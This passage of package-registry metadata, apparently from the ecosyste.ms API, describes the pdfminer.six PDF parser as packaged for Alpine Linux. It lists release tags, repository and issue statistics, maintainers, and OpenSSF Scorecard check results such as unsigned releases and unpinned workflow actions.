{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:18.176Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-pdfminer-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.21","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-pdfminer-pyc/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":322,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2024-12-09T13:54:11.015Z","updated_at":"2024-12-09T13:54:11.015Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.21","url":"https://pkgs.alpinelinux.org/packages?branch=v3.21","ecosystem":"alpine","default":false,"packages_count":25393,"maintainers_count":413,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-12-06T12:06:36.014Z","updated_at":"2026-04-27T18:20:22.676Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/namespaces"}},{"id":11139626,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_published_at":"2024-09-27T21:53:35.000Z","latest_release_number":"20240706-r0","last_synced_at":"2026-04-01T01:49:02.600Z","created_at":"2024-12-07T12:59:13.100Z","updated_at":"2026-04-01T01:49:02.600Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.21/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using 